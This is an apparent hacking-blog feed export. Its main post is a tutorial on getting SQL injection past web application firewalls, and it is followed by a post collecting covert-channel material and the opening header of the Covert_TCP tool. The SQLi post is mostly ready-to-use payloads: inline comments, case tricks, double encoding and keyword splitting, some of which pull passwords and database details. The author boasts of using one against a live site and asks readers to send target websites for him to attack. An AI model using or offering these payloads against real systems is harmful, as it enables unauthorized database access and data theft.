#007700;&quot;&gt;;&lt;br /&gt;}&lt;br /&gt;print&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;\n&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;;&lt;br /&gt;}&lt;br /&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;
</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/6931632784318887368'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/6931632784318887368'/><link rel='alternate' type='text/html' href='http://infosec-regeneration.blogspot.com/2012/09/bypass-forbidden-for-get-passwd.html' title='Bypass forbidden For Get Passwd'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05798090312725633022</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-1037799212658950396.post-9075289597619318223</id><published>2012-09-25T02:47:00.003+05:30</published><updated>2012-09-25T02:47:46.262+05:30</updated><title type='text'>WAF Bypass: SQL Injection (forbidden or not ?)</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;messageContent&quot;&gt;
		
			&lt;article&gt;
				&lt;blockquote class=&quot;messageText ugc baseHtml&quot;&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;WAF Bypass: SQL Injection (forbidden or not ?)&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;messageText ugc baseHtml&quot;&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;WAF BYPASS SQL INJECTION&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
 &lt;br /&gt;
This is such a wide Topic, but today were going to examine WAF bypas and
 SQL injection What is a WAF? A WAF is a Web Application Firewall used 
to filter certain malicious requests and/or keywords. Is a WAF a safe 
way to protect my Website? Well, thats a tough question. A WAF alone 
will not protect your website if your code is vulnerable, but a WAF and 
secure coding will. A WAF should be used as a tool in your tool shed, 
but you should never count on a WAF to keep attackers out because most, 
if not all WAF’s can be bypassed with the time and brains.Today,we will 
take a look into how exactly to do this&lt;br /&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;1)Comments:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
 &lt;br /&gt;
SQL comments are a blessing to us SQL injectors. They allow us to bypass
 alot of the restrictions of Web application firewalls and to kill 
certain SQL statements to execute the attackers commands while 
commenting out the actual legitimate query. Some comments in SQL:&lt;br /&gt;&lt;div style=&quot;padding-left: 30px;&quot;&gt;
&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
//, — , /**/, #, –+, — -, ;%00&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;2)Case Changing:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
 &lt;br /&gt;
Some WAF’s will filter only lowercase attacks As we can see we can easily evade this by case changing:&lt;br /&gt;
Possible Regex filter:&lt;br /&gt;&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
&lt;div style=&quot;padding-left: 30px;&quot;&gt;
/union\sselect/g&lt;/div&gt;
&lt;div style=&quot;padding-left: 30px;&quot;&gt;
id=1+UnIoN/**/SeLeCT, or with XSS -&amp;gt; alert(1)&lt;/div&gt;
&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;3)Inline Comments:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
 &lt;br /&gt;
Some WAF’s filter key words like /union\sselect/ig We can bypass this 
filter by using inline comments most of the time, More complex examples 
will require more advanced approach like adding SQL keywords that will 
further separate the two words:&lt;br /&gt;&lt;div style=&quot;padding-left: 30px;&quot;&gt;
&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
id=1/*!UnIoN*/SeLeCT&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;/div&gt;
Take notice of the exclamation point /*!code*/ The exclamation point executes our SQL statement.&lt;br /&gt;
Inline comments can be used throughout the SQL statement so if 
table_name or information_schema are filtered we can add more inline 
comments. For example, lets pretend a site filters union,where, 
table_name, table_schema, =, and information_schema.. These are 3 
statements we need to inject our target.&lt;br /&gt;
For this we would:&lt;br /&gt;&lt;div style=&quot;padding-left: 30px;&quot;&gt;
&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM 
/*information_schema*/.tables /*!WHERE 
*/+/*!TaBlE_ScHeMa*/+like+database()– -&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;/div&gt;
The above code would bypass the filter. Notice we can use “like” instead of “=”&lt;br /&gt;
Another way to use inline comemnts, when everything seems to fail you 
can try to through the application Firewall off by crafting a SQL 
statement using variables:&lt;br /&gt;&lt;div style=&quot;padding-left: 30px;&quot;&gt;
&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
id=1+UnIoN/*&amp;amp;a=*/SeLeCT/*&amp;amp;a=*/1,2,3,database()– -&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;/div&gt;
The above code should bypass the Union+select filters even where common inline comments didn’t work itself&lt;br /&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;4)Buffer Overflow:/Unexpected input:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
 &lt;br /&gt;
Alot of WAFS are written in the C language making them prone to overflow
 or or act differently when loaded with a bunch of data. Here is a WAF 
that does it’s job correctly, but when given a large amount of Data 
allows the malicious request and response.&lt;br /&gt;&lt;div style=&quot;padding-left: 30px;&quot;&gt;
&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA 1000 
more 
A’s)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36–+&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;padding-left: 30px;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
This bypass above works. I myself just used this against a Web site recently.&lt;br /&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;5)Replaced keywords(preg_replace and/or WAF’s with the same action):&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
 &lt;br /&gt;
Sometimes and application will remove all of a keyword. For instance, 
lets say we have a filter that replaces union select with whitespace. We
 could bypass that filter like so:&lt;br /&gt;&lt;div style=&quot;padding-left: 30px;&quot;&gt;
&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
id=1+UNIunionON+SeLselectECT+1,2,3–&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;/div&gt;
As you can see once union+select has been removed our capital UNION+SELECT takes its place successfully injecting our query:&lt;br /&gt;&lt;div style=&quot;padding-left: 30px;&quot;&gt;
&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
UNION+SELECT+1,2,3–&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;6)Charachter encoding:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
 &lt;br /&gt;
Most WAF’s will decode and filter an applications input, but some WAFs 
only decode the input once so double encoding can bypass certain filters
 as the WAF will decode the input once then filter while the Application
 will keep decoding the SQL statement executing our code.&lt;br /&gt;
Examples of double encoding:&lt;br /&gt;&lt;div style=&quot;padding-left: 30px;&quot;&gt;
&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users–+&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;/div&gt;
Some examples of double encoding are:&lt;br /&gt;
 &lt;br /&gt;&lt;div class=&quot;bbCodeBlock bbCodeHtml&quot;&gt;
&lt;div class=&quot;type&quot;&gt;
HTML:&lt;/div&gt;
&lt;pre&gt;Single Quote      &#39; %u0027
                          %u02b9
                          %u02bc
                          %u02c8
                          %u2032
                          %uff07
                          %c0%27
                          %c0%a7
                        %e0%80%a7
______________________________
  White Space:      %u0020
                            %uff00
                            %c0%20
                            %c0%a0
                            %e0%80%a0
_______________________________
  (                        %u0028
                            %uff08
                            %c0%28
                            %c0%a8
                            %e0%80%a8
_____________________________
)                        %u0029
                          %uff09
                          %c0%29
                          %c0%a9
                          %e0%80%a9
______________________________&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
 &lt;br /&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;7)Putting it all together:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
 &lt;br /&gt;
After bypassing a few WAF’s the task gets easier and easier, but here 
are some ways to find out how to bypass “your” targetted WAF:&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: lime;&quot;&gt;7a)Breaking the SQL statement:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
 &lt;br /&gt;
To find out exactly whats filtered you need to break your own SQL syntax
 and check for keywords being filtered, seeing if the keyword is 
filtered alone or in the prescence of other SQL keywords. For instance, 
if union+select is giving you a Forbidden or a Internal Server Error, 
try removing Union and seeing what happens with just Select and 
vice-versa&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: lime;&quot;&gt;7b)Verbose Errors:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
 &lt;br /&gt;
When breaking the SQL syntax you use the errors to guide you on just 
needs to be done for instance if were were injecting the broken 
syntax(Removed union to stop Forbidden errors):&lt;br /&gt;&lt;div style=&quot;padding-left: 30px;&quot;&gt;
&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
id=1+Select+1,2,3–&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;/div&gt;
And the error was something like:&lt;br /&gt;&lt;div style=&quot;padding-left: 30px;&quot;&gt;
&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
Error at line 1 near \” \”+1,2,3–&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;/div&gt;
We could gather that maybe the Word Select is being
 filtered out and replaced with white space. We could confirm this by 
injection something like:&lt;br /&gt;&lt;div style=&quot;padding-left: 30px;&quot;&gt;
&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
sel%0bect+1,2,3&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;/div&gt;
From there we would see if we can see a Select 
error. If we did a few more checks will give us a the answer we need to 
bypass this WAF. This is just one of many ways to break down the SQL 
syntax. You may have to keep breaking it, while bypassing different 
parts.&lt;br /&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;8)Advanced Bypassing Techniques:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
 &lt;br /&gt;
As stated earlier once you have bypassed a few WAF’s it gets easier and easier and more and more FUN &lt;img alt=&quot;[IMG]&quot; class=&quot;bbCodeImage LbImage&quot; src=&quot;http://kyle-sandilands.com/wp-includes/images/smilies/10.gif&quot; /&gt;
 When one finds himself running into a wall try going through all the 
miscreant characters to see whats allowd and whats not allowed. These 
characters can be: [;:{}()*&amp;amp;$/|&amp;lt;&amp;gt;?&quot;&#39;] We can use these 
characters to possibly craft a working SQL exploit. For instance, during
 a WAF bypass I was doing everything was being either filtered or 
replaced. I noticed that all * were being replaced with whitespace which
 meant no inline comments. Union+select was also properly filtered to 
produce a Forbidden error. In this instance I was able to use the 
replaced * to craft my exploit like so:&lt;br /&gt;&lt;div style=&quot;padding-left: 30px;&quot;&gt;
&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
id=1+uni*on+sel*ect+1,2,3–+&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;/div&gt;
When the * were filtered out the union+select fell 
right into place. Now, UNunionION+SELselectECT wasn’t working because 
union and select were not being replaced only * was. This is a common 
WAF bypass. Find the replaceable character and you find the exploit &lt;img alt=&quot;[IMG]&quot; class=&quot;bbCodeImage LbImage&quot; src=&quot;http://kyle-sandilands.com/wp-includes/images/smilies/1.gif&quot; /&gt;&lt;br /&gt;
Some other bypasses:&lt;br /&gt;&lt;div style=&quot;padding-left: 30px;&quot;&gt;
&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
id=1+(UnIoN)+(SelECT)+&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
&lt;div style=&quot;padding-left: 30px;&quot;&gt;
id=1+(UnIoN+SeLeCT)+&lt;/div&gt;
&lt;div style=&quot;padding-left: 30px;&quot;&gt;
id=1+(UnI)(oN)+(SeL)(EcT)&lt;/div&gt;
&lt;div style=&quot;padding-left: 30px;&quot;&gt;
id=1+’UnI”On’+&#39;SeL”ECT’ &amp;lt;-MySQL only&lt;/div&gt;
&lt;div style=&quot;padding-left: 30px;&quot;&gt;
id=1+&#39;UnI&#39;||&#39;on&#39;+SeLeCT&#39; &amp;lt;-MSSQL only&lt;/div&gt;
&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;div style=&quot;padding-left: 30px;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
As of MySQL 4.0
 it is said that Uni/**/on+Sel/**/ect will not work for bypass, but if 
the application firewall was customized to Filter /**/ out to whitespace
 it will work no matter what the version.&lt;br /&gt;
If anyone needs any help bypassing filters after reading and trying the 
above tactics please pm me with the website and I will give it a go. I 
love this shit!!!!!!!!!!!!!!! I know this isn’t an exhaustive filter 
bypass tutorial, but using the above methods(and your brain) will help 
you bypass most WAF’s today.&lt;br /&gt;
Enjoy!!&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;Sources:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;span style=&quot;color: #339966;&quot;&gt;Web Application Hackers Handbook&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #339966;&quot;&gt; SQL injections: Attack and Defense.&lt;/span&gt;
				&lt;/blockquote&gt;
&lt;/article&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/9075289597619318223'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/9075289597619318223'/><link rel='alternate' type='text/html' href='http://infosec-regeneration.blogspot.com/2012/09/waf-bypass-sql-injection-forbidden-or.html' title='WAF Bypass: SQL Injection (forbidden or not ?)'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05798090312725633022</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-1037799212658950396.post-1170991655335696479</id><published>2012-09-25T02:44:00.002+05:30</published><updated>2012-09-25T02:44:36.522+05:30</updated><title type='text'>Covert Channels on Internet Protocols</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Covert Channels on Internet Protocols&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;color: lime;&quot;&gt;&lt;b&gt;&quot;KNOWLEDGE IS FREE&quot;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
Covert Channels have been defined for the first time by Lampson in 1973 
as a communication channel not designed for any kind of information 
transfer. &lt;br /&gt;
Unsurprisingly covert channels defined in 1973 are system based. However they are still relevant in any shared environment. &lt;br /&gt;
• Storage Channels : the most basic indeed, based on the used of a 
shared data storage area. Most evolved techniques rely on locks or 
semaphores which positioning may be a piece of information such as a 1 
when no lock means 0. &lt;br /&gt;
• Timing Channels : the time needed by a process to perform an operation
 can be voluntarily manipulated to provide information to another 
process. &lt;br /&gt;
• Termination Channels : a process launches a task. It this task is finished at a specified time it means 1, 0 otherwise. &lt;br /&gt;
• Resource Exhaustion Channels : the value (0 or 1) is provided by the 
availability of a specific resource which may be filled up (hard disk), 
overloaded (100% cpu) etc. &lt;br /&gt;
• Power Channels : in this case the information is based on power consumption. &lt;br /&gt;
&lt;br /&gt;
&lt;a class=&quot;externalLink&quot; href=&quot;http://www.iv2-technologies.com/CovertChannels.pdf&quot; target=&quot;_blank&quot;&gt;http://www.iv2-technologies.com/CovertChannels.pdf&lt;/a&gt; &lt;br /&gt;
---- &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
//gray-world.net/projects/papers/html/covert_paper.html &lt;br /&gt;
&lt;br /&gt;
1. THE HTTP THEORY APPROACH &lt;br /&gt;
&lt;br /&gt;
1.1. THE HTTP PROTOCOL IN OUR CYBER-WORLD &lt;br /&gt;
&lt;br /&gt;
1.2. BASICALLY, THE HTTP PROTOCOL IS &lt;br /&gt;
&lt;br /&gt;
1.3. THE HTTP CLIENT/SERVER PROTOCOL ABSTRACTION &lt;br /&gt;
&lt;br /&gt;
1.4. WHY DID WE CHOOSE AN HTTP THEORY APPROACH ? &lt;br /&gt;
&lt;br /&gt;
2. CLIENT/SERVER IMPLEMENTATION &lt;br /&gt;
&lt;br /&gt;
2.1. SERVER MODELS &lt;br /&gt;
&lt;br /&gt;
2.1.1. Httpd-like server model &lt;br /&gt;
&lt;br /&gt;
2.1.2. Proxy-like server model &lt;br /&gt;
&lt;br /&gt;
2.1.3. CGI-like server model &lt;br /&gt;
&lt;br /&gt;
2.2. ON THE WIRE MODELS &lt;br /&gt;
&lt;br /&gt;
2.2.1. Server proxy chain model &lt;br /&gt;
&lt;br /&gt;
2.2.2. Intermediary distributed servers model &lt;br /&gt;
&lt;br /&gt;
2.2.3. Almost-real proxy server model &lt;br /&gt;
&lt;br /&gt;
2.2.4. Legitimate third-party model &lt;br /&gt;
&lt;br /&gt;
2.3. MODES &lt;br /&gt;
&lt;br /&gt;
2.3.1. Single application client mode &lt;br /&gt;
&lt;br /&gt;
2.3.2. Single application client proxy mode &lt;br /&gt;
&lt;br /&gt;
2.3.3. Server proxy mode &lt;br /&gt;
&lt;br /&gt;
2.3.4. Client reverse connection proxy mode &lt;br /&gt;
&lt;br /&gt;
2.3.5. Proprietary user defined protocol mode &lt;br /&gt;
&lt;br /&gt;
2.4. APPLYING MODELS AND MODES IN THE REAL WORLD &lt;br /&gt;
&lt;br /&gt;
2.4.1. HTTP proxies &lt;br /&gt;
&lt;br /&gt;
2.4.2. Reverse proxies &lt;br /&gt;
&lt;br /&gt;
2.4.3. Other applications are using HTTP intermediaries &lt;br /&gt;
&lt;br /&gt;
3. USING HTTP METHODS &lt;br /&gt;
&lt;br /&gt;
3.1. DATA CONTAINERS RESTRICTIONS &lt;br /&gt;
&lt;br /&gt;
3.1.1. URI string &lt;br /&gt;
&lt;br /&gt;
3.1.2. Header string &lt;br /&gt;
&lt;br /&gt;
3.1.3. Message body &lt;br /&gt;
&lt;br /&gt;
3.2. METHODS WITHOUT MESSAGE BODY : GET, HEAD, DELETE &lt;br /&gt;
&lt;br /&gt;
3.2.1. The GET method &lt;br /&gt;
&lt;br /&gt;
3.2.2. The HEAD method &lt;br /&gt;
&lt;br /&gt;
3.2.3. The DELETE method &lt;br /&gt;
&lt;br /&gt;
3.3. METHODS WITH MESSAGE BODY : OPTIONS, POST, PUT, TRACE &lt;br /&gt;
&lt;br /&gt;
3.3.1. The OPTIONS method &lt;br /&gt;
&lt;br /&gt;
3.3.2. The POST method &lt;br /&gt;
&lt;br /&gt;
3.3.3. The PUT method &lt;br /&gt;
&lt;br /&gt;
3.3.4. The TRACE method &lt;br /&gt;
&lt;br /&gt;
3.4. THE HTTP PROXY CONNECT METHOD &lt;br /&gt;
&lt;br /&gt;
3.5. CONCLUSION &lt;br /&gt;
&lt;br /&gt;
4. SECURITY ASPECTS &lt;br /&gt;
&lt;br /&gt;
4.1. AUTHENTICATION &lt;br /&gt;
&lt;br /&gt;
4.2. AUTHORIZATION &lt;br /&gt;
&lt;br /&gt;
4.3. DATA STREAM CIPHERING &lt;br /&gt;
&lt;br /&gt;
4.4. DATA STREAM INTEGRITY &lt;br /&gt;
&lt;br /&gt;
4.5. REPLAY PROTECTION &lt;br /&gt;
&lt;br /&gt;
5. COVERING AND STENOGRAPHIC METHODS &lt;br /&gt;
&lt;br /&gt;
5.1. CONFUSION ON THE HTTP STREAM &lt;br /&gt;
&lt;br /&gt;
5.1.1. Hiding data in the HTTP header &lt;br /&gt;
&lt;br /&gt;
5.1.2. Hiding data in the HTTP body &lt;br /&gt;
&lt;br /&gt;
5.2. CONFUSION ON THE DATA STREAM &lt;br /&gt;
&lt;br /&gt;
5.3. CONFUSION ON THE SERVER SIDE &lt;br /&gt;
============= &lt;br /&gt;
&lt;br /&gt;
Various design aspects can be taken into consideration when implementing
 an HTTP Client/Server covert channel tool : What kind of server model 
can be implemented (Httpd-like, Proxy-like, CGI-Like) - How can the tool
 be designed to add confusion from a traffic watcher point of view 
(Server proxy chain, Intermediaries distributed servers, Almost-real 
proxy server and legitimate third-party models) - What kind of 
functionality can be implemented into the covert channel (Single 
application client and Single application client proxy modes, Server 
proxy mode, Client reverse connection proxy mode and Proprietary user 
defined protocol mode). &lt;br /&gt;
&lt;br /&gt;
Then, when the HTTP covert channel client/server tool is modeled, 
designers can think about how their design could be applied in a real 
world environment : What kind of HTTP method can be used (With or 
Without Message body, be using the CONNECT method or not ?) - What kind 
of HTTP legitimate servers can be used to transit the arbitrary data 
stream through the NACS (HTTP and reverse proxies, other applications). &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a class=&quot;externalLink&quot; href=&quot;http://gray-world.net/projects/papers/cctde.txt&quot; target=&quot;_blank&quot;&gt;http://gray-world.net/projects/papers/cctde.txt&lt;/a&gt; &lt;br /&gt;
&lt;br /&gt;
========== &lt;br /&gt;
&lt;br /&gt;
Covert channel methods establishing unauthorized tunnels are often used 
to transit real world application data streams. A Covert Channel (CC) 
client opens a legitimate connection through a NACS and uses this 
connection to send and receive arbitrary data from a CC server. &lt;br /&gt;
&lt;br /&gt;
Questions are now : &quot;What characterizes such kind of covert channel &lt;br /&gt;
tunnels ?&quot; and &quot;What kind of tunnel traces can we get from the network streams ?&quot;. &lt;br /&gt;
&lt;br /&gt;
We will now present some kind of tunnel traces. Some of them may be 
redundant to the reader point of view but we are trying here to have a 
(non-exhaustive) list of tunnel traces. &lt;br /&gt;
&lt;br /&gt;
Unauthorized tunnel traces : &lt;br /&gt;
&lt;br /&gt;
(1) : High amount of inbound/outbound data transiting through the NACS - &lt;br /&gt;
Inside POST or PUT requests for example - These high data amounts &lt;br /&gt;
may occur one time only or be generated during a specific period &lt;br /&gt;
delay. &lt;br /&gt;
(2) : Small but frequent amount of inbound/outbound data transiting &lt;br /&gt;
through the NACS - A CC telnet-like communication channel will, for &lt;br /&gt;
example, generate a very small but frequent amount of data. &lt;br /&gt;
(3) : Requests/responses are sent too frequently or are sent on a curious &lt;br /&gt;
static interval. &lt;br /&gt;
(4) : One &quot;user&quot; requests a small quantity of external resources too &lt;br /&gt;
frequently. &lt;br /&gt;
(5) : The data stream transiting through the NACS contains some specific &lt;br /&gt;
patterns such as SSH banners for examples. &lt;br /&gt;
(6) : The data stream transiting through the NACS generates HTTP protocol &lt;br /&gt;
anomalies or violations. &lt;br /&gt;
&lt;br /&gt;
The first four tunnel traces could be detected by a behavioral-based 
detection engine. The fifth one could be detected by a signature-based 
one while the last tunnel trace could be detected by a protocol-based 
one &lt;br /&gt;
&lt;br /&gt;
Covert storage channels include all vehicles that would allow the direct or &lt;br /&gt;
indirect writing of a storage location by one process and the direct or 
indirect reading of it by another. Covert timing channels include all 
vehicles that would allow one process to signal information to another 
process by modulating its own use of system resources in such a way that
 the change in response time observed by the second process would 
provide information.” &lt;br /&gt;
&lt;br /&gt;
&lt;a class=&quot;externalLink&quot; href=&quot;http://gray-world.net/papers/adiscussionofcc.pdf&quot; target=&quot;_blank&quot;&gt;http://gray-world.net/papers/adiscussionofcc.pdf&lt;/a&gt; &lt;br /&gt;
======= &lt;br /&gt;
&lt;br /&gt;
&lt;a class=&quot;externalLink&quot; href=&quot;http://en.wikipedia.org/wiki/Covert_channel&quot; target=&quot;_blank&quot;&gt;http://en.wikipedia.org/wiki/Covert_channel&lt;/a&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;a class=&quot;externalLink&quot; href=&quot;http://www.cl.cam.ac.uk/%7Esjm217/papers/ih05coverttcp.pdf&quot; target=&quot;_blank&quot;&gt;http://www.cl.cam.ac.uk/~sjm217/papers/ ... erttcp.pdf&lt;/a&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;a class=&quot;externalLink&quot; href=&quot;http://david.inchcolm.org/Portals/6/0506-PGNET/0506-PGNET-Slides.pdf&quot; target=&quot;_blank&quot;&gt;http://david.inchcolm.org/Portals/6/050 ... Slides.pdf&lt;/a&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;A GUIDE TO UNDERSTANDING COVERT CHANNEL ANALYSIS OF TRUSTED SYSTEMS&lt;/b&gt; &lt;br /&gt;
&lt;a class=&quot;externalLink&quot; href=&quot;http://www.fas.org/irp/nsa/rainbow/tg030.htm&quot; target=&quot;_blank&quot;&gt;http://www.fas.org/irp/nsa/rainbow/tg030.htm&lt;/a&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;a class=&quot;externalLink&quot; href=&quot;http://www-scf.usc.edu/%7Ecsci530l/downloads/covert_tcp.c&quot; target=&quot;_blank&quot;&gt;http://www-scf.usc.edu/~csci530l/downloads/covert_tcp.c&lt;/a&gt; &lt;br /&gt;
/* Covert_TCP 1.0 - Covert channel file transfer for Linux &lt;br /&gt;
* Written by Craig H. Rowland (&lt;a href=&quot;mailto:crowland@psionic.com&quot;&gt;crowland@psionic.com&lt;/a&gt;) &lt;br /&gt;
* Copyright 1996 Craig H. Rowland (11-15-96) &lt;br /&gt;
* NOT FOR COMMERCIAL USE WITHOUT PERMISSION. &lt;br /&gt;
* &lt;br /&gt;
* &lt;br /&gt;
* This program manipulates the TCP/IP header to transfer a file one byte &lt;br /&gt;
* at a time to a destination host. This program can act as a server and a client &lt;br /&gt;
* and can be used to conceal transmission of data inside the IP header. &lt;br /&gt;
* This is useful for bypassing firewalls from the inside, and for &lt;br /&gt;
* exporting data with innocuous looking packets that contain no data for &lt;br /&gt;
* sniffers to analyze. In other words, spy stuff... &lt;img alt=&quot;[IMG]&quot; class=&quot;bbCodeImage LbImage&quot; src=&quot;http://www.suck-o.com/forums/images/smilies/icon_smile.gif&quot; /&gt; &lt;br /&gt;
* &lt;br /&gt;
